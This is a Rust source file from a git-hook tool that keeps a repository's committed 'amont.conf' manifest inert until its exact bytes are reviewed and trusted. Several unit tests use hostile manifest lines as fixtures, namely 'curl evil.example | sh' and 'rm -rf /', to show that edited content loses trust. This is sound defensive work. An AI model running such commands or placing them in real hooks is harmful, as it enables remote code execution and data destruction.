Skip to main content

amont_runtime/
trust.rs

1//! Whether this repository's `amont.conf` may run.
2//!
3//! `amont.conf` is committed, which is the point — a team shares a check by
4//! committing it. The consequence is that cloning a repository and committing to
5//! it would otherwise run commands that repository chose, and neither of those
6//! acts is one anybody performs as a decision about trust. Reviewing a diff
7//! before running it is; nothing asked for that.
8//!
9//! So the manifest is inert until somebody says otherwise, and the record is
10//! keyed on the FILE'S CONTENT rather than its path: a `git pull` that adds a
11//! command does not inherit the consent given to the file before it.
12//!
13//! ## Why `git hash-object` and not a hash of our own
14//!
15//! `amont` links no external crates (`scripts/check-no-deps.sh`), and the
16//! only hash in `std` is `DefaultHasher` — SipHash with a fixed key, which is
17//! not collision-resistant and would let a crafted manifest match a trusted
18//! one's fingerprint. Writing SHA-256 by hand is a hundred lines nobody would
19//! review as carefully as they should.
20//!
21//! `git` is already a hard dependency of every path in this binary, and
22//! `git hash-object` is the identity git itself uses for content. It is SHA-1
23//! (or SHA-256 in a repository configured for it), which is not a strong
24//! guarantee against a determined attacker with a chosen-prefix collision — but
25//! it is enormously better than SipHash, costs no dependency, and a user can
26//! reproduce it by hand to check what they trusted:
27//!
28//! ```text
29//! $ git hash-object --no-filters amont.conf
30//! ```
31//!
32//! `--no-filters` is not decoration. Without it git applies the clean filter
33//! and eol conversion that the repository's own committed `.gitattributes`
34//! asks for — so the repository would be choosing the transform its consent is
35//! taken through, and two manifests this parser reads differently can be given
36//! the same id. Consent is bound to the bytes we PARSE.
37
38use std::path::Path;
39
40use crate::ui::valid_sign;
41
42/// Where the decision is recorded. Local, never committed — a repository must
43/// not be able to declare itself trusted.
44pub const KEY: &str = "amont.trusted";
45
46/// Content id of `path`, as git would compute it.
47///
48/// `--no-filters`, because consent is bound to CONTENT and the content that
49/// matters is the bytes we PARSE. Plain `git hash-object` applies the clean
50/// filter and eol conversion configured by the repository's own committed
51/// `.gitattributes` — so a repo that declares `amont.conf ident` (or
52/// `text eol=crlf`) chooses the transform its fingerprint is taken through,
53/// and two manifests we would parse differently can hash identically. The
54/// binding was to content-after-a-repo-controlled-transform.
55pub fn fingerprint(repo: &Path, manifest: &Path) -> Option<String> {
56    crate::git::stdout_in(repo, &["hash-object", "--no-filters", manifest.to_str()?])
57}
58
59/// The same identity, for bytes already in hand.
60///
61/// `--stdin` is never filtered, so this names exactly the buffer given to it.
62/// Used where the caller has read the file and is about to act on THAT read:
63/// hashing the path again would be a second read, and the two can differ.
64pub fn fingerprint_bytes(repo: &Path, bytes: &[u8]) -> Option<String> {
65    crate::git::stdout_piped_in(repo, &["hash-object", "--stdin"], bytes)
66}
67
68/// What the repository has recorded, if anything.
69pub fn recorded(repo: &Path) -> Option<String> {
70    crate::git::stdout_in(repo, &["config", "--local", "--get", KEY])
71}
72
73#[derive(Debug, Clone, Copy, PartialEq, Eq)]
74pub enum State {
75    /// No manifest. The overwhelmingly common case, and it must cost nothing.
76    NoManifest,
77    /// Trusted, and the file still has the bytes that were trusted.
78    Trusted,
79    /// Never trusted here.
80    Untrusted,
81    /// Trusted once, and edited since. Distinct from `Untrusted` because the
82    /// message should say which happened — "somebody changed it" is a different
83    /// thing to tell a reader than "you have not looked at this yet".
84    Changed,
85}
86
87/// Decide whether `repo`'s manifest may run.
88pub fn state(repo: &Path) -> State {
89    let manifest = repo.join(crate::manifest::MANIFEST);
90    if !manifest.is_file() {
91        return State::NoManifest;
92    }
93    let Some(current) = fingerprint(repo, &manifest) else {
94        // Cannot compute it, so cannot claim it matches.
95        return State::Untrusted;
96    };
97    verdict(repo, &current)
98}
99
100/// The same decision, about bytes the caller already holds.
101///
102/// For anyone who has read the manifest and is about to act on THAT read.
103/// Re-opening the file to decide whether the first read may run is two reads of
104/// something that can change in between, and the whole point of the record is
105/// that it names the content being executed.
106pub fn state_of(repo: &Path, source: &[u8]) -> State {
107    let Some(current) = fingerprint_bytes(repo, source) else {
108        return State::Untrusted;
109    };
110    verdict(repo, &current)
111}
112
113fn verdict(repo: &Path, current: &str) -> State {
114    match recorded(repo) {
115        Some(seen) if seen == current => State::Trusted,
116        Some(_) => State::Changed,
117        None => State::Untrusted,
118    }
119}
120
121/// Record the manifest as it stands now.
122pub fn record(repo: &Path) -> Result<String, String> {
123    let manifest = repo.join(crate::manifest::MANIFEST);
124    let fp = fingerprint(repo, &manifest)
125        .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
126    record_verified(repo, &fp)?;
127    Ok(fp)
128}
129
130/// Record `fp` as trusted, but ONLY if the manifest still hashes to it.
131///
132/// The gap this closes: `describe()` prints the manifest, then — in
133/// `install::offer_trust` — `confirm()` blocks on a keypress, sometimes for
134/// several seconds, before anything is recorded. A plain re-hash at that
135/// point trusts whatever is on disk THEN, which is not necessarily what was
136/// shown; a file changed in that window would be trusted without ever having
137/// been reviewed, which is the exact thing this module exists to prevent.
138/// Callers fingerprint what they show BEFORE asking, and pass that same
139/// value here — verified again, not merely assumed, once the answer is in.
140pub fn record_verified(repo: &Path, fp: &str) -> Result<(), String> {
141    let manifest = repo.join(crate::manifest::MANIFEST);
142    let now = fingerprint(repo, &manifest)
143        .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
144    if now != fp {
145        return Err(format!(
146            "{} changed since it was shown — nothing was trusted; run `amont trust` again to review it",
147            crate::manifest::MANIFEST
148        ));
149    }
150    let ok = crate::git::stdout_in(repo, &["config", "--local", KEY, fp]).is_some();
151    if !ok {
152        return Err(format!("cannot record {KEY} in this repository"));
153    }
154    Ok(())
155}
156
157/// Forget it.
158pub fn revoke(repo: &Path) -> Result<(), String> {
159    // `--unset` exits 5 when the key is absent, which is not a failure here.
160    let _ = crate::git::stdout_in(repo, &["config", "--local", "--unset", KEY]);
161    Ok(())
162}
163
164/// The reason an external does not run, phrased for the check's own report.
165pub fn why(state: State) -> Option<&'static str> {
166    match state {
167        State::NoManifest | State::Trusted => None,
168        State::Untrusted => {
169            Some("declared in an untrusted amont.conf — review it, then `amont trust`")
170        }
171        State::Changed => {
172            Some("amont.conf changed since it was trusted — review it, then `amont trust`")
173        }
174    }
175}
176
177/// Show what the manifest declares, so the decision is made with it in view.
178///
179/// Printing the lines is the whole point: "trust this file" is not a question
180/// anybody can answer without seeing it, and a prompt that does not show it is
181/// a prompt that trains people to press y.
182pub fn describe(repo: &Path) -> String {
183    describe_source(
184        &std::fs::read_to_string(repo.join(crate::manifest::MANIFEST)).unwrap_or_default(),
185    )
186}
187
188/// The same listing, rendered from text the caller already read.
189///
190/// So that what is SHOWN and what is FINGERPRINTED come from one read. Two
191/// reads of a file somebody is deciding about can disagree, and the decision
192/// would then be recorded about bytes nobody was shown.
193pub fn describe_source(text: &str) -> String {
194    use std::fmt::Write;
195    let mut out = String::new();
196    for line in crate::manifest::parse_lines(text) {
197        let (name, stage, parsed) = line.into_parts();
198        // Every field here is repo-controlled, and this is the text somebody
199        // is about to say yes to. Sanitised BEFORE the padding, so the column
200        // widths are computed on what is actually printed — an escape sequence
201        // is zero columns wide and would silently shift the alignment even if
202        // it did nothing worse. See `ui::sanitize` for what a concealed
203        // declaration bought.
204        let name = crate::ui::sanitize(&name);
205        match parsed {
206            Ok(declared) => {
207                let _ = writeln!(
208                    out,
209                    "      {name:<14} {:<10} {}",
210                    stage.as_str(),
211                    crate::ui::sanitize(&declared.command())
212                );
213            }
214            Err(why) => {
215                let _ = writeln!(
216                    out,
217                    "      {name:<14} {:<10} ! {}",
218                    stage.as_str(),
219                    crate::ui::sanitize(&why.to_string())
220                );
221            }
222        }
223    }
224    out
225}
226
227/// A yes/no on the terminal, or `false` when there is nobody to ask.
228///
229/// Reads `/dev/tty` rather than stdin: git hands a hook a pipe, and a prompt
230/// that read stdin would consume something else's input. Same reason
231/// `package-lock` does it, and the third copy of this is where it becomes a
232/// shared function.
233#[cfg(unix)]
234pub fn confirm(prompt: &str) -> bool {
235    use std::io::{BufRead, BufReader, Write};
236    let Ok(tty) = std::fs::File::open("/dev/tty") else {
237        return false;
238    };
239    print!("{prompt}");
240    let _ = std::io::stdout().flush();
241    let mut line = String::new();
242    if BufReader::new(tty).read_line(&mut line).is_err() {
243        return false;
244    }
245    matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
246}
247
248/// Windows has no `/dev/tty`; treat it as nobody to ask, which declines.
249#[cfg(not(unix))]
250pub fn confirm(_prompt: &str) -> bool {
251    false
252}
253
254/// `amont trust [--show|--revoke]`.
255pub fn command(args: &[std::ffi::OsString]) -> Result<(), String> {
256    // Refuse rather than fall back to ".". Trust is RECORDED per repository,
257    // keyed by the root this resolves to, so a "." root outside a repository
258    // meant `amont trust` in `~` would read `~/amont.conf`, show its
259    // declarations, and record trust for them — against a repository that does
260    // not exist, in a state no later `amont trust --revoke` would find.
261    let root = crate::hooks::common::repo_root_checked()?;
262    let root = Path::new(&root);
263    let flag = |f: &str| args.iter().any(|a| a == f);
264
265    if flag("--revoke") {
266        revoke(root)?;
267        println!("{} amont.conf is no longer trusted here", valid_sign());
268        return Ok(());
269    }
270
271    let state = state(root);
272    if state == State::NoManifest {
273        println!("no {} in this repository", crate::manifest::MANIFEST);
274        return Ok(());
275    }
276
277    if flag("--show") {
278        println!("{}", crate::manifest::MANIFEST);
279        print!("{}", describe(root));
280        println!(
281            "    {}",
282            match state {
283                State::Trusted => "trusted here",
284                State::Changed => "TRUSTED ONCE, AND CHANGED SINCE — not running",
285                _ => "not trusted here — not running",
286            }
287        );
288        return Ok(());
289    }
290
291    if state == State::Trusted {
292        println!("{} already trusted, unchanged", valid_sign());
293        return Ok(());
294    }
295
296    // One read: the bytes shown are the bytes fingerprinted, and
297    // `record_verified` then confirms they are still the bytes on disk. Read
298    // twice, and the listing somebody approved need not be what got recorded.
299    let manifest = root.join(crate::manifest::MANIFEST);
300    let source =
301        std::fs::read(&manifest).map_err(|e| format!("cannot read {}: {e}", manifest.display()))?;
302    let fp = fingerprint_bytes(root, &source)
303        .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
304    println!("{} declares:", crate::manifest::MANIFEST);
305    print!("{}", describe_source(&String::from_utf8_lossy(&source)));
306    record_verified(root, &fp)?;
307    println!("{} trusted ({fp})", valid_sign());
308    Ok(())
309}
310
311#[cfg(test)]
312mod tests {
313    use super::*;
314
315    fn repo(name: &str) -> std::path::PathBuf {
316        let d = std::env::temp_dir().join(format!("trust-{name}-{}", std::process::id()));
317        let _ = std::fs::remove_dir_all(&d);
318        std::fs::create_dir_all(&d).unwrap();
319        std::process::Command::new("git")
320            .args(["init", "-q", "--template=", "."])
321            .current_dir(&d)
322            .output()
323            .expect("git");
324        d
325    }
326
327    fn write_manifest(dir: &Path, body: &str) {
328        std::fs::write(dir.join(crate::manifest::MANIFEST), body).unwrap();
329    }
330
331    /// Ninety-six repositories have no manifest. That must be free and silent.
332    #[test]
333    fn no_manifest_is_not_a_trust_question() {
334        let d = repo("none");
335        assert_eq!(state(&d), State::NoManifest);
336        assert_eq!(why(State::NoManifest), None);
337        let _ = std::fs::remove_dir_all(&d);
338    }
339
340    #[test]
341    fn a_manifest_starts_untrusted() {
342        let d = repo("new");
343        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
344        assert_eq!(state(&d), State::Untrusted);
345        let _ = std::fs::remove_dir_all(&d);
346    }
347
348    #[test]
349    fn recording_makes_it_trusted() {
350        let d = repo("record");
351        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
352        record(&d).expect("record");
353        assert_eq!(state(&d), State::Trusted);
354        let _ = std::fs::remove_dir_all(&d);
355    }
356
357    /// The property the whole design turns on: consent is to CONTENT, so a
358    /// `git pull` that adds a command cannot inherit it.
359    #[test]
360    fn editing_the_manifest_revokes_trust() {
361        let d = repo("edit");
362        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
363        record(&d).expect("record");
364        assert_eq!(state(&d), State::Trusted);
365
366        write_manifest(&d, "pre-commit  a  *  block  curl evil.example | sh\n");
367        assert_eq!(
368            state(&d),
369            State::Changed,
370            "a manifest edited after trusting must not still be trusted"
371        );
372        // And it says which happened, because "you have not looked at this" is
373        // a different sentence to "somebody changed it".
374        assert!(why(State::Changed).expect("reason").contains("changed"));
375        let _ = std::fs::remove_dir_all(&d);
376    }
377
378    /// The TOCTOU `record_verified` exists to close: `install::offer_trust`
379    /// fingerprints what it showed, waits on a keypress, then must not trust
380    /// whatever is on disk by the time the answer comes back if that is not
381    /// what was actually shown.
382    #[test]
383    fn record_verified_refuses_a_manifest_that_changed_since_it_was_fingerprinted() {
384        let d = repo("changed-mid-confirm");
385        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
386        let manifest = d.join(crate::manifest::MANIFEST);
387        let shown_fp = fingerprint(&d, &manifest).expect("fingerprint");
388
389        // The file is rewritten in the window a real confirm() would have
390        // been blocking on a keypress.
391        write_manifest(&d, "pre-commit  a  *  block  curl evil.example | sh\n");
392
393        let err = record_verified(&d, &shown_fp).expect_err("must refuse");
394        assert!(err.contains("changed"), "{err}");
395        assert_eq!(
396            state(&d),
397            State::Untrusted,
398            "the rewritten content must not end up trusted"
399        );
400        let _ = std::fs::remove_dir_all(&d);
401    }
402
403    /// The ordinary path still works: nothing changed, so the fingerprint
404    /// shown is the fingerprint recorded.
405    #[test]
406    fn record_verified_accepts_a_manifest_that_did_not_change() {
407        let d = repo("unchanged");
408        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
409        let manifest = d.join(crate::manifest::MANIFEST);
410        let fp = fingerprint(&d, &manifest).expect("fingerprint");
411        record_verified(&d, &fp).expect("record");
412        assert_eq!(state(&d), State::Trusted);
413        let _ = std::fs::remove_dir_all(&d);
414    }
415
416    #[test]
417    fn revoking_returns_it_to_untrusted() {
418        let d = repo("revoke");
419        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
420        record(&d).expect("record");
421        revoke(&d).expect("revoke");
422        assert_eq!(state(&d), State::Untrusted);
423        // Twice is not an error: `git config --unset` exits 5 on a missing key.
424        revoke(&d).expect("revoke again");
425        let _ = std::fs::remove_dir_all(&d);
426    }
427
428    /// Reproducible by hand, which is the point of using git's own identity.
429    #[test]
430    fn the_fingerprint_is_git_hash_object() {
431        let d = repo("fp");
432        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
433        let manifest = d.join(crate::manifest::MANIFEST);
434        let ours = fingerprint(&d, &manifest).expect("fingerprint");
435        let theirs = String::from_utf8_lossy(
436            &std::process::Command::new("git")
437                .args(["hash-object", "--no-filters", manifest.to_str().unwrap()])
438                .current_dir(&d)
439                .output()
440                .expect("git")
441                .stdout,
442        )
443        .trim()
444        .to_string();
445        assert_eq!(ours, theirs);
446        let _ = std::fs::remove_dir_all(&d);
447    }
448    /// A repository must not choose the transform its own consent is taken
449    /// through.
450    ///
451    /// `.gitattributes` is committed, so the repo picks the clean filter; plain
452    /// `git hash-object` applies it. With one that collapses everything to a
453    /// constant, two manifests this parser reads DIFFERENTLY are given the same
454    /// id — so a trusted fingerprint would cover content nobody reviewed.
455    #[test]
456    fn a_clean_filter_cannot_make_two_manifests_share_a_fingerprint() {
457        let d = repo("filter");
458        std::fs::write(d.join(".gitattributes"), "amont.conf filter=flatten\n")
459            .expect("write attributes");
460        let ok = std::process::Command::new("git")
461            .args(["config", "--local", "filter.flatten.clean", "echo same"])
462            .current_dir(&d)
463            .status()
464            .map(|s| s.success())
465            .unwrap_or(false);
466        if !ok {
467            return; // no git to configure; nothing to assert
468        }
469        let manifest = d.join(crate::manifest::MANIFEST);
470
471        write_manifest(&d, "pre-commit  a  *  block  echo one\n");
472        let filtered_a = raw_hash(&d, &manifest);
473        let ours_a = fingerprint(&d, &manifest).expect("fingerprint a");
474
475        write_manifest(&d, "pre-commit  b  *  block  rm -rf /\n");
476        let filtered_b = raw_hash(&d, &manifest);
477        let ours_b = fingerprint(&d, &manifest).expect("fingerprint b");
478
479        // The collision has to EXIST before its absence means anything. A
480        // clean filter is an external program run through git's own shell, and
481        // whether `echo` resolves that way is the platform's business, not
482        // ours — Git for Windows does not collapse these. Say so and stop,
483        // rather than report a fixture that would not build as a defect in the
484        // code under test. `an_eol_conversion_cannot_...` below covers the same
485        // property with no external program involved and runs everywhere.
486        if filtered_a != filtered_b {
487            println!(
488                "! clean filters do not apply here — collision not reproducible, \
489                 see an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint"
490            );
491            return;
492        }
493        assert_ne!(
494            ours_a, ours_b,
495            "the fingerprint followed a repo-controlled filter"
496        );
497    }
498
499    /// The same property, with git's own eol conversion instead of an external
500    /// filter — so it holds on every platform.
501    ///
502    /// `.gitattributes` is COMMITTED, so the repository chooses the conversion.
503    /// Under `text eol=lf`, git's clean step normalises CRLF to LF, and two
504    /// files differing only in line endings hash identically. That is a weaker
505    /// lever than a clean filter (the parser reads both the same way), but it
506    /// is the same mistake: the id names content-after-a-repo-controlled
507    /// transform rather than the bytes we read.
508    #[test]
509    fn an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint() {
510        let d = repo("eol");
511        std::fs::write(d.join(".gitattributes"), "amont.conf text eol=lf\n")
512            .expect("write attributes");
513        let manifest = d.join(crate::manifest::MANIFEST);
514
515        // Byte-different, line-ending-identical-after-normalisation.
516        std::fs::write(&manifest, b"pre-commit  a  *  block  echo one\r\n").expect("crlf");
517        let filtered_crlf = raw_hash(&d, &manifest);
518        let ours_crlf = fingerprint(&d, &manifest).expect("fingerprint crlf");
519
520        std::fs::write(&manifest, b"pre-commit  a  *  block  echo one\n").expect("lf");
521        let filtered_lf = raw_hash(&d, &manifest);
522        let ours_lf = fingerprint(&d, &manifest).expect("fingerprint lf");
523
524        if filtered_crlf != filtered_lf {
525            println!("! eol conversion does not apply here — collision not reproducible");
526            return;
527        }
528        assert_ne!(
529            ours_crlf, ours_lf,
530            "the fingerprint followed a repo-controlled eol conversion"
531        );
532    }
533
534    fn raw_hash(dir: &std::path::Path, manifest: &std::path::Path) -> String {
535        String::from_utf8_lossy(
536            &std::process::Command::new("git")
537                .args(["hash-object", manifest.to_str().unwrap()])
538                .current_dir(dir)
539                .output()
540                .expect("git")
541                .stdout,
542        )
543        .trim()
544        .to_string()
545    }
546}